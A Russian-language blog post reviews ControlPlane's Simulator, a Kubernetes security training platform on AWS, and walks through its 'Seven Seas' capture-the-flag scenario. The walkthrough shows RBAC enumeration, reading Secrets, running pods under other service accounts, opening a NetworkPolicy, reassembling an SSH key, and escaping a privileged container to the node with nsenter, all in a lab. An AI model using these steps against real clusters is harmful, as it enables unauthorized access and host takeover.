Всем привет! На связи Дмитрий Силкин, DevOps-инженер компании «Флант». Ранее мы делали обзор инструментов для оценки безопасности кластера Kubernetes. Но что, если нам нужно обучить инженеров основам безопасности Kubernetes на реальных примерах и поставить процесс обучения на поток? Недавно компания ControlPlane, специализирующаяся на Cloud Native-решениях, выложила в открытый доступ Simulator — инструмент для обучения инженеров поиску уязвимостей в Kubernetes. Мы во «Фланте» решили протестировать этот симулятор и понять, насколько он перспективен и полезен.

В этой статье я расскажу, зачем нужен этот инструмент, как его настроить и установить, а также разберу его возможности. Для этого я решу один из сценариев, который предлагает Simulator. В конце обзора я оставлю своё мнение об инструменте и расскажу о ближайших планах его авторов.
Что такое Simulator и зачем он нужен
Simulator задумывался как практический способ познакомить инженеров с безопасностью контейнеров и Kubernetes. То есть это инструмент, с помощью которого можно обучать инженеров работе с уязвимостями в Kubernetes. Сами авторы Simulator называют ближайшим аналогом проект KataCoda, однако на данный момент эта платформа закрыта. Также есть похожий инструмент kube_security_lab, но сейчас он практически не развивается.
Simulator развёртывает готовый кластер Kubernetes в вашей учётной записи AWS: запускает сценарии, которые неправильно настраивают его или делают его уязвимым, и обучает устранению этих уязвимостей. Это сценарии различной сложности формата Capture the Flag, в которых инженеру нужно набрать определённое количество флагов для выполнения задания. На данный момент существует девять сценариев, разработанных для Cloud Native Computing Foundation (CNCF). Можно создать и свой сценарий: для этого необходимо описать его в виде Ansible Playbook.
Сценарии направлены на то, чтобы убедиться, что стандартные средства безопасности настроены должным образом. Такая базовая настройка Kubernetes должна быть проведена ещё до того, как разработчики приложения получат доступ к системе. Поэтому в первую очередь этот инструмент создавался для инженеров по безопасности, которые занимаются защитой своей платформы. Но он будет полезен и другим специалистам, связанным с безопасностью приложений, работающих с Kubernetes: DevSecOps-инженерам, разработчикам приложений и т.д.
Как пользоваться Simulator
Разберём работу Simulator по следующим этапам:
настройка и установка;
развёртывание инфраструктуры;
выбор сценария;
игра;
удаление созданной инфраструктуры.
Настройка и установка
Вся работа происходит в AWS, поэтому нам понадобится аккаунт в облаке. Для начала скачиваем актуальную версию Simulator и выполняем следующие действия в нашем AWS-аккаунте:
Создадим для тестовых целей отдельного пользователя controlplaneio-simulator.
Назначим созданному пользователю AWS IAM Permissions, указанные в документации.
Создадим пару ключей
AWS_ACCESS_KEY_IDиAWS_SECRET_ACCESS_KEY. Сохраним их, так как далее их будет использовать Simulator.Назначим Default VPC в облаке. Если не сделать этого, Simulator будет сваливаться в ошибку при развёртывании инфраструктуры.
Теперь можно создать конфигурационный файл для Simulator. Для минимальной настройки нужно задать имя бакета S3, в котором будет храниться Terraform-state. Наш бакет будет называться simulator-terraform-state:
simulator config --bucket simulator-terraform-state
По умолчанию конфигурация появится в $HOME/.simulator.
Далее выполним следующие действия:
Укажем регион и сохранённые ранее ключи, чтобы Simulator имел доступ к аккаунту AWS.
Создадим бакет S3.
Скачаем необходимые контейнеры (для этого на нашей машине должен быть предварительно установлен Docker).
Создадим образы виртуальных машин AMI, на основании которых Simulator будет развёртывать кластер Kubernetes.
export AWS_REGION=eu-central-1 export AWS_ACCESS_KEY_ID=<ID> export AWS_SECRET_ACCESS_KEY=<KEY> simulator bucket create simulator container pull simulator ami build bastion simulator ami build k8s
Развёртывание инфраструктуры
Теперь можно выполнить развёртывание инфраструктуры для выполнения сценариев. Это займёт около пяти минут:
simulator infra create
Кластер Kubernetes готов. В AWS появились следующие виртуальные машины:

Выбор сценария
Посмотрим доступные сценарии с помощью команды simulator scenario list:

Мы увидим таблицу с доступными сценариями. В ней можно найти идентификатор, имя, описание, категорию и сложность сценариев. На данный момент есть три уровня сложности:
Easy — лёгкий. В таких сценариях по ходу выполнения заданий появляются подсказки, а инженеру достаточно базовых знаний об основных сущностях Kubernetes.
Medium — средний. Здесь появляются задания по таким сущностям, как Pod Security Admission, Kyverno и Cilium.
Complex — сложный. В этом случае даётся очень мало вводной информации, тут уже потребуются глубокие знания как о Kubernetes, так и о смежных технологиях: в некоторых сценариях используются Dex, Elasticsearch, Fluent Bit и прочее.
Игра
Чтобы разобрать, как работает Simulator, возьмём для примера один простой CTF-сценарий — Seven Seas. Для его установки вводим следующую команду, куда подставляем ID сценария:
simulator install seven-seas
Когда установка завершится, необходимо подключиться к кластеру как пользователь:
cd /opt/simulator/player ssh -F simulator_config bastion
При входе получим приветственное сообщение:

При запуске сценария нам нужно разобраться, к каким ресурсам у нас есть доступ и что нам следует искать. Начнём с поиска по файловой системе. Из интересного — здесь существует домашняя директория пользователя swashbyter. Посмотрим, что в ней:
$ ls /home swashbyter $ cd /home/swashbyter $ ls -alh total 40K drwxr-xr-x 1 swashbyter swashbyter 4.0K Feb 18 08:53 . drwxr-xr-x 1 root root 4.0K Aug 23 07:55 .. -rw-r--r-- 1 swashbyter swashbyter 220 Aug 5 2023 .bash_logout -rw-r--r-- 1 swashbyter swashbyter 3.5K Aug 5 2023 .bashrc drwxr-x--- 3 swashbyter swashbyter 4.0K Feb 18 08:53 .kube -rw-r--r-- 1 swashbyter swashbyter 807 Aug 5 2023 .profile -rw-rw---- 1 swashbyter swashbyter 800 Aug 18 2023 diary.md -rw-rw---- 1 swashbyter swashbyter 624 Aug 18 2023 treasure-map-1 -rw-rw---- 1 swashbyter swashbyter 587 Aug 18 2023 treasure-map-7
Здесь мы обратили внимание на три файла: diary.md, treasure-map-1 и treasure-map-7. Посмотрим содержимое файла diary.md:

В этом файле содержится задание. Нам нужно найти недостающие фрагменты treasure-map со второго по шестой. Получается, что treasure-map — это приватный SSH-ключ в формате Base64. Задача будет выполнена, если мы соберём все оставшиеся фрагменты в кластере, подключимся с помощью ключа к Royal Fortune и там найдём флаг. Также у нас есть подсказка, где указан путь, по которому нам надо проследовать:

На этой карте отмечены namespaces, по которым мы должны пройти, чтобы собрать все фрагменты.
Декодируем фрагмент, который у нас есть. Убедимся, что в нём действительно хранится часть ключа:

Идём дальше. Судя по printenv, мы находимся в контейнере:
$ printenv KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 THE_WAY_PORT_80_TCP=tcp://10.105.241.164:80 HOSTNAME=fancy HOME=/home/swashbyter OLDPWD=/ THE_WAY_SERVICE_HOST=10.105.241.164 TERM=xterm KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp THE_WAY_SERVICE_PORT=80 THE_WAY_PORT=tcp://10.105.241.164:80 THE_WAY_PORT_80_TCP_ADDR=10.105.241.164 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_HOST=10.96.0.1 THE_WAY_PORT_80_TCP_PORT=80 PWD=/home/swashbyter THE_WAY_PORT_80_TCP_PROTO=tcp
Попробуем получить список подов в текущем namespace:
$ kubectl get pods Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:arctic:swashbyter" cannot list resource "pods" in API group "" in the namespace "arctic"
Прав на это у нас нет, но мы выяснили, что сервисный аккаунт swashbyter находится в пространстве имён arctic, с которого и начинается наше путешествие. Посмотрим, какие у нас есть права в этом namespace:
$ kubectl auth can-i --list Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] namespaces [] [] [get list]
Из интересного — у нас есть только права на просмотр namespaces в кластере:
$ kubectl get ns NAME STATUS AGE arctic Active 51m default Active 65m indian Active 51m kube-node-lease Active 65m kube-public Active 65m kube-system Active 65m kyverno Active 51m north-atlantic Active 51m north-pacific Active 51m south-atlantic Active 51m south-pacific Active 51m southern Active 51m
Пройдёмся командой auth can-i --list в пространстве имён north-atlantic, так как он следующий по пути. Вдруг у нас там есть дополнительные права:
$ kubectl auth can-i --list -n north-atlantic Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] namespaces [] [] [get list] secrets [] [] [get list]
Здесь у нас есть права на просмотр Secrets. В одном из них находится treasure-map-2:
$ kubectl get secrets -n north-atlantic NAME TYPE DATA AGE treasure-map-2 Opaque 1 59m $ kubectl get secrets -n north-atlantic treasure-map-2 -o yaml apiVersion: v1 data: treasure-map-2: VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ== kind: Secret metadata: creationTimestamp: "2024-02-18T08:50:11Z" name: treasure-map-2 namespace: north-atlantic resourceVersion: "1973" uid: f2955e2a-47a7-4f99-98db-0acff328cd7f type: Opaque
Сохраним его, он нам понадобится позже.
Двигаемся дальше. Теперь посмотрим доступные права в пространстве имен south-atlantic:
$ kubectl auth can-i --list -n south-atlantic Resources Non-Resource URLs Resource Names Verbs pods/exec [] [] [create delete get list patch update watch] pods [] [] [create delete get list patch update watch] selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] namespaces [] [] [get list] serviceaccounts [] [] [get list]
Здесь у нас есть права на просмотр, создание подов и управление ими, а также на чтение сервисных аккаунтов. Проверим наличие подов и сервисных аккаунтов:
$ kubectl get pods -n south-atlantic No resources found in south-atlantic namespace. $ kubectl get sa -n south-atlantic NAME SECRETS AGE default 0 63m invader 0 63m
Подов в namespace нет, но есть сервисный аккаунт invader. Попробуем создать под в этом namespace, который запустится под этим сервисным аккаунтом. Возьмем образ kubectl из репозитория разработчиков инструмента. Опишем манифест и применим его:
apiVersion: v1 kind: Pod metadata: name: invader namespace: south-atlantic spec: serviceAccountName: invader containers: - image: docker.io/controlplaneoffsec/kubectl:latest command: ["sleep", "2d"] name: tools imagePullPolicy: IfNotPresent securityContext: allowPrivilegeEscalation: false
Exec’ом проникнем в контейнер и посмотрим, что у него есть в файловой системе:
kubectl exec -it -n south-atlantic invader sh Defaulted container "blockade-ship" out of: blockade-ship, tools / # ls bin dev home media opt root sbin sys usr contraband etc lib mnt proc run srv tmp var
Здесь вызывает интерес папка contraband — проверим, что в ней лежит:
/ # ls contraband/ treasure-map-3 / # cat contraband/treasure-map-3
Там находится третий фрагмент — сохраним его. Вместе с blockade-ship также создался sidecar-контейнер tools. Попробуем зайти в него. Здесь есть утилита kubectl, и мы знаем, что следующий пункт путешествия — southern-ocean. Проверим права на него:
$ kubectl exec -it -n south-atlantic invader -c tools bash root@invader:~# kubectl auth can-i --list -n southern Resources Non-Resource URLs Resource Names Verbs pods/exec [] [] [create] selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] pods [] [] [get list]
Примерно такие же права, как в предыдущем namespace. Значит, надо посмотреть поды в namespace и выполнить exec. Далее смотрим файловую систему на наличие фрагмента карты. После поиска по файловой системе, видим, что существует директория /mnt/.cache. Поищем в ней четвёртый фрагмент. Здесь есть — сохраним:
root@invader:~# kubectl exec -it -n southern whydah-galley bash root@whydah-galley:/# ls -alh /mnt total 12K drwxr-xr-x 3 root root 4.0K Feb 18 08:50 . drwxr-xr-x 1 root root 4.0K Feb 18 08:50 .. drwxr-xr-x 13 root root 4.0K Feb 18 08:50 .cache root@whydah-galley:~# cd /mnt/.cache/ root@whydah-galley:/mnt/.cache# ls -alhR | grep treasur -rw-r--r-- 1 root root 665 Feb 18 08:50 treasure-map-4 -rw-r--r-- 1 root root 89 Feb 18 08:50 treasure-chest
Следующая точка — indian. Посмотрим, какие у нас там есть разрешения:
root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n indian Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] networkpolicies.networking.k8s.io [] [] [get list patch update] configmaps [] [] [get list] namespaces [] [] [get list] pods [] [] [get list] services [] [] [get list] pods/log [] [] [get]
В indian мы уже можем смотреть и configmaps, и даже логи подов. Пройдём по уже знакомой схеме: сначала проверим, какие поды запущены в namespace. Потом посмотрим логи пода, что за сервисы там есть, а также содержимое configmaps:
root@whydah-galley:/mnt/.cache# kubectl get pods -n indian NAME READY STATUS RESTARTS AGE adventure-galley 1/1 Running 0 114m root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley 2024/02/18 08:51:08 starting server on :8080 root@whydah-galley:/mnt/.cache# kubectl get svc -n indian NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE crack-in-hull ClusterIP 10.99.74.124 <none> 8080/TCP 115m root@whydah-galley:/mnt/.cache# kubectl get cm -n indian options -o yaml apiVersion: v1 data: action: | - "use" - "fire" - "launch" - "throw" object: | - "digital-parrot-clutching-a-cursed-usb" - "rubber-chicken-with-a-pulley-in-the-middle" - "cyber-trojan-cracking-cannonball" - "hashjack-hypertext-harpoon" kind: ConfigMap root@whydah-galley:/mnt/.cache# curl -v crack-in-hull.indian.svc.cluster.local:8080 * processing: crack-in-hull.indian.svc.cluster.local:8080 * Trying 10.99.74.124:8080...
Пока непонятно, что делать с содержимым configmap, поэтому пойдём дальше. Видим, что сервер запущен на порте 8080, но почему-то при обращении к сервису мы не получаем ответ. Может быть, есть правила, ограничивающие доступ по этому порту?
root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian NAME POD-SELECTOR AGE blockade ship=adventure-galley 116m root@whydah-galley:/mnt/.cache# kubectl get networkpolicies -n indian blockade -o yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: creationTimestamp: "2024-02-18T08:50:15Z" generation: 1 name: blockade namespace: indian resourceVersion: "2034" uid: 9c97e41c-6f77-4666-a3f3-39112f502f84 spec: ingress: - from: - podSelector: {} podSelector: matchLabels: ship: adventure-galley policyTypes: - Ingress
Да, здесь есть ограничивающее правило. Оно запрещает все входящие соединения в поды, у которых есть лейбл ship: adventure-galley. Поэтому нужно разрешить входящий трафик:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: creationTimestamp: "2024-02-18T08:50:15Z" generation: 3 name: blockade namespace: indian resourceVersion: "20773" uid: 9c97e41c-6f77-4666-a3f3-39112f502f84 spec: ingress: - {} podSelector: matchLabels: ship: adventure-galley policyTypes: - Ingress
Теперь сервер отдаёт нам HTML-страницу на порте 8080:
root@whydah-galley:/mnt/.cache# curl crack-in-hull.indian.svc.cluster.local:8080 <!DOCTYPE html> <html> <head> <h3>Adventure Galley</h3> <meta charset="UTF-8" /> </head> <body> <p>You see a weakness in the Adventure Galley. Perform an Action with an Object to reduce the pirate ship to Logs.</p> <div> <form method="POST" action="/"> <input type="text" id="Action" name="a" placeholder="Action"><br> <input type="text" id="Object" name="o" placeholder="Object"><br> <button>Enter</button> </form> </div> </body> </html>
Сервер предлагает нам отправлять POST-запросы в виде пар «действие — объект». Какое-то из этих действий в итоге приведёт к тому, что в логе приложения появятся новые сообщения. Как раз здесь нам пригодится содержимое configmap, полученное в одном из предыдущих шагов:
apiVersion: v1 data: action: | - "use" - "fire" - "launch" - "throw" object: | - "digital-parrot-clutching-a-cursed-usb" - "rubber-chicken-with-a-pulley-in-the-middle" - "cyber-trojan-cracking-cannonball" - "hashjack-hypertext-harpoon" kind: ConfigMap
В данном configmap представлены объекты, над которыми можно совершить различные действия: «использовать», «сжечь», «запустить» и «бросить».
Попробуем применить каждое действие к каждому объекту с помощью bash-скрипта:
root@whydah-galley:/mnt/.cache# A=("use" "fire" "launch" "throw"); O=("digital-parrot-clutching-a-cursed-usb" "rubber-chicken-with-a-pulley-in-the-middle" "cyber-trojan-cracking-cannonball" "hashjack-hypertext-harpoon"); for a in "{O[@]}"; do curl -X POST -d "a=o" http://crack-in-hull.indian.svc.cluster.local:8080/; done; done NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT DIRECT HIT! It looks like something fell out of the hold. NO EFFECT NO EFFECT NO EFFECT NO EFFECT NO EFFECT
На каждый POST-запрос веб-сервер adventure-galley отдавал ответ об «эффективности» запроса. В итоге все запросы, кроме одного, не вызвали никакого эффекта. Может быть, приложение что-то записало в свой лог? Давайте посмотрим:
root@whydah-galley:/mnt/.cache# kubectl logs -n indian adventure-galley 2024/02/18 08:51:08 starting server on :8080 2024/02/18 10:58:36 treasure-map-5: qm9IZskNawm5JCxuntCHg2...
Adventure-galley отдал нам пятый фрагмент карты. Остался последний регион — south-pacific. Как всегда, сначала проверим права в данном namespace:
root@whydah-galley:/mnt/.cache# kubectl auth can-i --list -n south-pacific Resources Non-Resource URLs Resource Names Verbs pods/exec [] [] [create] selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] deployments.apps [] [] [get list create patch update delete] namespaces [] [] [get list] pods [] [] [get list] serviceaccounts [] [] [get list]
Из интересного: у нас есть права на управление жизненным циклом deployment. Проверим, какой сервисный аккаунт есть в данном namespace и запустим deployment под ним:
apiVersion: apps/v1 kind: Deployment metadata: name: invader labels: app: invader namespace: south-pacific spec: selector: matchLabels: app: invader replicas: 1 template: metadata: labels: app: invader spec: serviceAccountName: port-finder containers: - name: invader image: docker.io/controlplaneoffsec/kubectl:latest command: ["sleep", "2d"] imagePullPolicy: IfNotPresent
Попробуем создать deployment из манифеста. В этот раз запустить сущность не получилось из-за нарушения политик Pod Security Standards. Deployment при этом создался:
root@whydah-galley:~# kubectl apply -f deploy.yaml Warning: would violate PodSecurity "restricted:latest": allowPrivilegeEscalation != false (container "invader" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "invader" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "invader" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "invader" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost") deployment.apps/invader created root@whydah-galley:~# kubectl get deployments -n south-pacific NAME READY UP-TO-DATE AVAILABLE AGE invader 0/1 0 0 2m33s
Включим в манифест требуемые securityContexts и seccomp profile и применим его.
Забегая вперёд
Образ, который будет использоваться на последнем шаге, должен иметь установленные kubectl, jq, ssh. Так как контейнер будет запускаться с правами обычного пользователя, возможности их поставить вручную не будет.
Предупреждений по безопасности больше нет, и invader запустился:
apiVersion: apps/v1 kind: Deployment metadata: name: invader labels: app: invader namespace: south-pacific spec: selector: matchLabels: app: invader replicas: 1 template: metadata: labels: app: invader spec: serviceAccountName: port-finder securityContext: seccompProfile: type: RuntimeDefault containers: - name: invader image: lawellet/simulator-invader:1.0.0 command: ["sleep", "2d"] imagePullPolicy: IfNotPresent securityContext: allowPrivilegeEscalation: false capabilities: drop: - "ALL" runAsNonRoot: true runAsUser: 1000 runAsGroup: 2000 root@whydah-galley:~# kubectl get pods -n south-pacific NAME READY STATUS RESTARTS AGE invader-7db84dccd4-5m6g2 1/1 Running 0 29s
Зайдём в контейнер и проверим права используемого сервисного аккаунта на пространство имен south-pacific:
root@whydah-galley:~# kubectl exec -it -n south-pacific invader-7db84dccd4-5m6g2 bash swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n south-pacific Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] secrets [] [] [get list]
Посмотрим Secrets: тут есть treasure-map-6 — последний недостающий фрагмент:
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific NAME TYPE DATA AGE treasure-map-6 Opaque 1 178m swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get secrets -n south-pacific treasure-map-6 -o yaml apiVersion: v1 data: treasure-map-6: c05iTlViNmxm…
Сохраним последний фрагмент и объединим найденные ранее части карты в один файл.
Последний пункт в нашем путешествии — это north-pacific. Проверяем права на одноимённый namespace:
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl auth can-i --list -n north-pacific Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] services [] [] [get list]
Кажется, что нам надо зайти на сервер по SSH, используя собранный на предыдущих шагах ключ:
swashbyter@invader-7db84dccd4-5m6g2:/root$ kubectl get svc -n north-pacific NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE plot-a-course ClusterIP 10.111.116.224 <none> 22/TCP 3h10m
Создаём в этом контейнере собранный ключ и подключаемся с его помощью к целевой машине:

Теперь осталось только найти флаг. Для начала проверим, в контейнере ли мы находимся. Посмотрим список процессов:

Судя по тому, что мы видим процессы, запущенные на хосте, мы оказались в привилегированном контейнере. Попробуем теперь посмотреть Linux Capabilities, доступные контейнеру (предварительно установив capsh):
root@royal-fortune:/# apt update && apt-get install -y libcap2-bin root@royal-fortune:~# capsh --print Current: =ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore Ambient set = Current IAB: Securebits: 00/0x0/1'b0 secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) secure-no-ambient-raise: no (unlocked) uid=0(root) euid=0(root) gid=0(root) groups=0(root) Guessed mode: UNCERTAIN (0)
Наш процесс имеет все возможные Linux Capabilities. Значит, мы можем попробовать зайти в Host PID Namespace:
root@royal-fortune:~# nsenter -t 1 -i -u -n -m bash root@master-1:/#
И в итоге мы оказались на узле. Здесь же находится наш финальный флаг. Сценарий завершён:
root@master-1:/# ls -al /root total 32 drwx------ 4 root root 4096 Feb 18 12:58 . drwxr-xr-x 19 root root 4096 Feb 18 08:33 .. -rw------- 1 root root 72 Feb 18 12:58 .bash_history -rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc -rw-r--r-- 1 root root 161 Jul 9 2019 .profile drwx------ 2 root root 4096 Feb 15 15:47 .ssh -rw-r--r-- 1 root root 41 Feb 18 08:50 flag.txt drwx------ 4 root root 4096 Feb 15 15:48 snap root@master-1:/# cat /root/flag.txt flag_ctf{TOTAL_MASTERY_OF_THE_SEVEN_SEAS}
В ходе выполнения заданий мы работали со следующими сущностями Kubernetes:
Kubernetes Secrets;
container images;
Pod Security Standards;
network policy;
pod logs;
service accounts;
RBAC;
sidecar containers;
Разобранный сценарий наглядно показывает: если некорректно распределить роли (выдали прав больше, чем нужно для работы приложения) на сервисные аккаунты, а также использовать привилегированные контейнеры, это может привести к возможности побега из контейнера и попадания на хост.
Удаление созданной инфраструктуры
Осталось удалить созданную инфраструктуру:
simulator infra destroy
Эта команда удалит виртуальные машины, на которых был развёрнут кластер Kubernetes.
Если больше пользоваться Simulator мы не планируем, также нужно удалить AMI-образы и бакет с terraform-state:
simulator ami delete bastion simulator ami delete simulator-master simulator ami delete simulator-internal simulator bucket delete simulator-terraform-state
Итоги
Simulator от ControlPlane — относительно новый инструмент, и у создателей на него большие планы. В будущем они хотят реализовать ещё больше CTF-сценариев, добавить возможность развёртывать необходимую инфраструктуру локально с помощью kind, а также развивать интерактивность процесса обучения: мультиплеер, сохранение активности игроков, таблица лидеров и так далее.
Нам же данная платформа показалась очень интересной и перспективной для обучения всевозможным эксплойтам и уязвимостям в кластере Kubernetes, и мы обязательно будем следить за её развитием.
P. S.
Читайте также в нашем блоге:
